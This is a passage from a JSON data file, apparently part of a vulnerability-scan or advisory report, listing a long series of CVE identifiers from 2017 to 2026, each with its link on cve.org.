      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
    },
    {
      "name": "CVE-2026-50020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50020"
    },
    {
      "name": "CVE-2026-55708",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55708"
    },
    {
      "name": "CVE-2026-25680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25680"
    },
    {
      "name": "CVE-2026-87910",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87910"
    },
    {
      "name": "CVE-2026-46384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46384"
    },
    {
      "name": "CVE-2026-91782",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91782"
    },
    {
      "name": "CVE-2020-25695",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-25695"
    },
    {
      "name": "CVE-2026-54512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
    },
    {
      "name": "CVE-2026-39835",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39835"
    },
    {
      "name": "CVE-2026-59197",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
    },
    {
      "name": "CVE-2026-112895",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112895"
    },
    {
      "name": "CVE-2025-5918",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5918"
    },
    {
      "name": "CVE-2026-6478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
    },
    {
      "name": "CVE-2026-114603",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114603"
    },
    {
      "name": "CVE-2026-33815",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33815"
    },
    {
      "name": "CVE-2026-42578",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
    },
    {
      "name": "CVE-2026-100407",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100407"
    },
    {
      "name": "CVE-2026-78683",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78683"
    },
    {
      "name": "CVE-2026-32874",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32874"
    },
    {
      "name": "CVE-2025-3263",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3263"
    },
    {
      "name": "CVE-2026-48497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48497"
    },
    {
      "name": "CVE-2025-4878",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4878"
    },
    {
      "name": "CVE-2026-65899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
    },
    {
      "name": "CVE-2025-12818",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12818"
    },
    {
      "name": "CVE-2025-32990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32990"
    },
    {
      "name": "CVE-2026-78663",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78663"
    },
    {
      "name": "CVE-2026-97031",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97031"
    },
    {
      "name": "CVE-2026-10532",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10532"
    },
    {
      "name": "CVE-2026-112901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112901"
    },
    {
      "name": "CVE-2026-12087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
    },
    {
      "name": "CVE-2026-4519",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4519"
    },
    {
      "name": "CVE-2026-53612",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53612"
    },
    {
      "name": "CVE-2025-3001",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3001"
    },
    {
      "name": "CVE-2026-116585",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116585"
    },
    {
      "name": "CVE-2026-83520",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-83520"
    },
    {
      "name": "CVE-2026-114691",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114691"
    },
    {
      "name": "CVE-2025-15366",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15366"
    },
    {
      "name": "CVE-2021-45261",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-45261"
    },
    {
      "name": "CVE-2026-91781",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91781"
    },
    {
      "name": "CVE-2026-53493",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53493"
    },
    {
      "name": "CVE-2025-13462",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13462"
    },
    {
      "name": "CVE-2025-4802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4802"
    },
    {
      "name": "CVE-2026-40164",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40164"
    },
    {
      "name": "CVE-2026-0990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0990"
    },
    {
      "name": "CVE-2026-55956",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
    },
    {
      "name": "CVE-2026-77410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77410"
    },
    {
      "name": "CVE-2026-54060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
    },
    {
      "name": "CVE-2026-32289",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32289"
    },
    {
      "name": "CVE-2026-0865",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0865"
    },
    {
      "name": "CVE-2026-24686",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24686"
    },
    {
      "name": "CVE-2026-18924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18924"
    },
    {
      "name": "CVE-2026-68496",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68496"
    },
    {
      "name": "CVE-2026-97045",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97045"
    },
    {
      "name": "CVE-2026-111750",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111750"
    },
    {
      "name": "CVE-2026-45446",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
    },
    {
      "name": "CVE-2026-112893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112893"
    },
    {
      "name": "CVE-2026-102010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102010"
    },
    {
      "name": "CVE-2026-12570",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12570"
    },
    {
      "name": "CVE-2026-82209",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82209"
    },
    {
      "name": "CVE-2026-69244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69244"
    },
    {
      "name": "CVE-2025-66221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66221"
    },
    {
      "name": "CVE-2026-91777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
    },
    {
      "name": "CVE-2026-58011",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58011"
    },
    {
      "name": "CVE-2025-32989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32989"
    },
    {
      "name": "CVE-2026-41506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41506"
    },
    {
      "name": "CVE-2026-15741",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15741"
    },
    {
      "name": "CVE-2025-6051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6051"
    },
    {
      "name": "CVE-2026-63382",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
    },
    {
      "name": "CVE-2026-4111",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4111"
    },
    {
      "name": "CVE-2025-22874",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
    },
    {
      "name": "CVE-2026-106453",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-106453"
    },
    {
      "name": "CVE-2026-24515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24515"
    },
    {
      "name": "CVE-2026-14677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14677"
    },
    {
      "name": "CVE-2025-11495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11495"
    },
    {
      "name": "CVE-2026-118669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-118669"
    },
    {
      "name": "CVE-2025-66034",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66034"
    },
    {
      "name": "CVE-2026-104873",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-104873"
    },
    {
      "name": "CVE-2024-41110",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41110"
    },
    {
      "name": "CVE-2026-77411",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77411"
    },
    {
      "name": "CVE-2026-119375",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119375"
    },
    {
      "name": "CVE-2025-48386",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48386"
    },
    {
      "name": "CVE-2026-24117",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24117"
    },
    {
      "name": "CVE-2025-55199",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-55199"
    },
    {
      "name": "CVE-2026-109518",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-109518"
    },
    {
      "name": "CVE-2021-23214",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-23214"
    },
    {
      "name": "CVE-2026-45570",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45570"
    },
    {
      "name": "CVE-2026-6475",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
    },
    {
      "name": "CVE-2026-78680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78680"
    },
    {
      "name": "CVE-2025-5025",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5025"
    },
    {
      "name": "CVE-2026-86410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86410"
    },
    {
      "name": "CVE-2026-84304",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
    },
    {
      "name": "CVE-2026-56405",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56405"
    },
    {
      "name": "CVE-2026-63076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63076"
    },
    {
      "name": "CVE-2024-34459",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-34459"
    },
    {
      "name": "CVE-2025-49795",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-49795"
    },
    {
      "name": "CVE-2025-14104",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14104"
    },
    {
      "name": "CVE-2026-103111",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-103111"
    },
    {
      "name": "CVE-2026-78667",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78667"
    },
    {
      "name": "CVE-2026-34165",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34165"
    },
    {
      "name": "CVE-2026-93749",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93749"
    },
    {
      "name": "CVE-2026-49264",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49264"
    },
    {
      "name": "CVE-2026-6100",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6100"
    },
    {
      "name": "CVE-2026-59083",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
    },
    {
      "name": "CVE-2021-46848",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-46848"
    },
    {
      "name": "CVE-2026-78659",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78659"
    },
    {
      "name": "CVE-2026-32280",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
    },
    {
      "name": "CVE-2026-56411",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56411"
    },
    {
      "name": "CVE-2026-50106",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50106"
    },
    {
      "name": "CVE-2025-47912",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
    },
    {
      "name": "CVE-2026-16742",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16742"
    },
    {
      "name": "CVE-2026-77404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77404"
    },
    {
      "name": "CVE-2026-70452",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70452"
    },
    {
      "name": "CVE-2026-3276",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3276"
    },
    {
      "name": "CVE-2025-11414",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11414"
    },
    {
      "name": "CVE-2025-66861",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66861"
    },
    {
      "name": "CVE-2026-4438",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4438"
    },
    {
      "name": "CVE-2026-119376",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119376"
    },
    {
      "name": "CVE-2026-58016",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
    },
    {
      "name": "CVE-2026-90831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90831"
    },
    {
      "name": "CVE-2026-63383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
    },
    {
      "name": "CVE-2025-68160",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68160"
    },
    {
      "name": "CVE-2026-59888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
    },
    {
      "name": "CVE-2026-9545",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9545"
    },
    {
      "name": "CVE-2026-56866",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56866"
    },
    {
      "name": "CVE-2025-2148",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2148"
    },
    {
      "name": "CVE-2024-2236",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-2236"
    },
    {
      "name": "CVE-2023-4039",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-4039"
    },
    {
      "name": "CVE-2026-111751",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111751"
    },
    {
      "name": "CVE-2025-54410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
    },
    {
      "name": "CVE-2026-60001",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-60001"
    },
    {
      "name": "CVE-2026-3441",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3441"
    },
    {
      "name": "CVE-2026-56857",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56857"
    },
    {
      "name": "CVE-2026-80229",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80229"
    },
    {
      "name": "CVE-2026-86415",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86415"
    },
    {
      "name": "CVE-2026-73194",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73194"
    },
    {
      "name": "CVE-2026-6653",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6653"
    },
    {
      "name": "CVE-2026-50046",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50046"
    },
    {
      "name": "CVE-2025-60753",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-60753"
    },
    {
      "name": "CVE-2026-42011",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
    },
    {
      "name": "CVE-2026-63312",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63312"
    },
    {
      "name": "CVE-2026-56859",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
    },
    {
      "name": "CVE-2026-14680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14680"
    },
    {
      "name": "CVE-2026-50045",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50045"
    },
    {
      "name": "CVE-2026-77403",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77403"
    },
    {
      "name": "CVE-2026-112393",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112393"
    },
    {
      "name": "CVE-2026-59898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
    },
    {
      "name": "CVE-2023-50495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-50495"
    },
    {
      "name": "CVE-2017-11164",
      "url": "https://www.cve.org/CVERecord?id=CVE-2017-11164"
    },
    {
      "name": "CVE-2026-14666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14666"
    },
    {
      "name": "CVE-2026-115506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-115506"
    },
    {
      "name": "CVE-2026-63380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63380"
    },
    {
      "name": "CVE-2025-61728",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
    },
    {
      "name": "CVE-2026-112403",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112403"
    },
    {
      "name": "CVE-2026-0965",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0965"
    },
    {
      "name": "CVE-2026-112894",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112894"
    },
    {
      "name": "CVE-2026-66422",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
    },
    {
      "name": "CVE-2025-1767",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1767"
    },
    {
      "name": "CVE-2026-6844",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6844"
    },
    {
      "name": "CVE-2026-112946",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112946"
    },
    {
      "name": "CVE-2026-4224",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4224"
    },
    {
      "name": "CVE-2026-111181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111181"
    },
    {
      "name": "CVE-2026-111063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111063"
    },
    {
      "name": "CVE-2026-53489",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53489"
    },
    {
      "name": "CVE-2025-58186",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
    },
    {
      "name": "CVE-2026-33997",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33997"
    },
    {
      "name": "CVE-2026-18798",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18798"
    },
    {
      "name": "CVE-2026-56853",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
    },
    {
      "name": "CVE-2026-34183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34183"
    },
    {
      "name": "CVE-2025-13034",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13034"
    },
    {
      "name": "CVE-2025-8714",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8714"
    },
    {
      "name": "CVE-2026-78437",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78437"
    },
    {
      "name": "CVE-2025-9086",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9086"
    },
    {
      "name": "CVE-2026-16730",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16730"
    },
    {
      "name": "CVE-2026-82474",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82474"
    },
    {
      "name": "CVE-2026-35193",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35193"
    },
    {
      "name": "CVE-2024-10041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10041"
    },
    {
      "name": "CVE-2025-8869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8869"
    },
    {
      "name": "CVE-2026-41006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41006"
    },
    {
      "name": "CVE-2026-53495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53495"
    },
    {
      "name": "CVE-2026-70454",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70454"
    },
    {
      "name": "CVE-2025-58187",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
    },
    {
      "name": "CVE-2026-45205",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
    },
    {
      "name": "CVE-2026-19445",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19445"
    },
    {
      "name": "CVE-2026-53790",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53790"
    },
    {
      "name": "CVE-2026-48959",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48959"
    },
    {
      "name": "CVE-2022-4899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-4899"
    },
    {
      "name": "CVE-2026-77117",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77117"
    },
    {
      "name": "CVE-2026-13506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
    },
    {
      "name": "CVE-2026-78367",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78367"
    },
    {
      "name": "CVE-2026-48706",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48706"
    },
    {
      "name": "CVE-2026-14673",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14673"
    },
    {
      "name": "CVE-2022-1559",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-1559"
    },
    {
      "name": "CVE-2026-42505",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42505"
    },
    {
      "name": "CVE-2026-49844",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
    },
    {
      "name": "CVE-2026-94447",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94447"
    },
    {
      "name": "CVE-2022-3219",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-3219"
    },
    {
      "name": "CVE-2025-13601",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13601"
    },
    {
      "name": "CVE-2025-12817",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12817"
    },
    {
      "name": "CVE-2025-4673",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
    },
    {
      "name": "CVE-2026-67693",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67693"
    },
    {
      "name": "CVE-2026-119741",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119741"
    },
    {
      "name": "CVE-2026-100408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100408"
    },
    {
      "name": "CVE-2018-5709",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-5709"
    },
    {
      "name": "CVE-2026-115456",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-115456"
    },
    {
      "name": "CVE-2026-102473",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102473"
    },
    {
      "name": "CVE-2026-87865",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87865"
    },
    {
      "name": "CVE-2025-5916",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5916"
    },
    {
      "name": "CVE-2026-56406",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56406"
    },
    {
      "name": "CVE-2026-54370",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
    },
    {
      "name": "CVE-2025-69651",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69651"
    },
    {
      "name": "CVE-2026-29181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
    },
    {
      "name": "CVE-2026-28390",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
    },
    {
      "name": "CVE-2025-32988",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32988"
    },
    {
      "name": "CVE-2026-80206",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80206"
    },
    {
      "name": "CVE-2026-1757",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1757"
    },
    {
      "name": "CVE-2024-10963",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10963"
    },
    {
      "name": "CVE-2026-112897",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112897"
    },
    {
      "name": "CVE-2026-73229",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73229"
    },
    {
      "name": "CVE-2026-50010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
    },
    {
      "name": "CVE-2026-55379",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
    },
    {
      "name": "CVE-2017-13716",
      "url": "https://www.cve.org/CVERecord?id=CVE-2017-13716"
    },
    {
      "name": "CVE-2026-39836",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
    },
    {
      "name": "CVE-2026-62385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-62385"
    },
    {
      "name": "CVE-2026-39395",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39395"
    },
    {
      "name": "CVE-2026-111065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111065"
    },
    {
      "name": "CVE-2026-78408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78408"
    },
    {
      "name": "CVE-2026-6791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6791"
    },
    {
      "name": "CVE-2026-87862",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87862"
    },
    {
      "name": "CVE-2026-56408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56408"
    },
    {
      "name": "CVE-2025-14524",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14524"
    },
    {
      "name": "CVE-2025-27113",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27113"
    },
    {
      "name": "CVE-2026-62388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-62388"
    },
    {
      "name": "CVE-2026-6845",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6845"
    },
    {
      "name": "CVE-2026-6477",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
    },
    {
      "name": "CVE-2026-0915",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0915"
    },
    {
      "name": "CVE-2025-15281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15281"
    },
    {
      "name": "CVE-2026-119379",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119379"
    },
    {
      "name": "CVE-2026-14663",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14663"
    },
    {
      "name": "CVE-2026-42767",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
    },
    {
      "name": "CVE-2026-9828",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9828"
    },
    {
      "name": "CVE-2026-50219",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
    },
    {
      "name": "CVE-2025-47913",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47913"
    },
    {
      "name": "CVE-2026-19553",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19553"
    },
    {
      "name": "CVE-2026-24747",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24747"
    },
    {
      "name": "CVE-2026-58280",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58280"
    },
    {
      "name": "CVE-2026-42502",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42502"
    },
    {
      "name": "CVE-2026-59846",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59846"
    },
    {
      "name": "CVE-2026-6238",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
    },
    {
      "name": "CVE-2026-0864",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0864"
    },
    {
      "name": "CVE-2026-42955",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42955"
    },
    {
      "name": "CVE-2026-63328",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63328"
    },
    {
      "name": "CVE-2026-46582",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46582"
    },
    {
      "name": "CVE-2024-7598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7598"
    },
    {
      "name": "CVE-2026-85231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85231"
    },
    {
      "name": "CVE-2026-114136",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114136"
    },
    {
      "name": "CVE-2026-63379",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
    },
    {
      "name": "CVE-2026-56403",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56403"
    },
    {
      "name": "CVE-2026-81724",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81724"
    },
    {
      "name": "CVE-2026-114138",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114138"
    },
    {
      "name": "CVE-2026-59200",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
    },
    {
      "name": "CVE-2026-2297",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2297"
    },
    {
      "name": "CVE-2026-17084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-17084"
    },
    {
      "name": "CVE-2026-39882",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39882"
    },
    {
      "name": "CVE-2025-58181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
    },
    {
      "name": "CVE-2025-40909",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-40909"
    },
    {
      "name": "CVE-2026-82562",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82562"
    },
    {
      "name": "CVE-2026-102554",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102554"
    },
    {
      "name": "CVE-2026-107726",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107726"
    },
    {
      "name": "CVE-2025-69720",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69720"
    },
    {
      "name": "CVE-2026-41567",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41567"
    },
    {
      "name": "CVE-2026-4873",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4873"
    },
    {
      "name": "CVE-2026-0967",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0967"
    },
    {
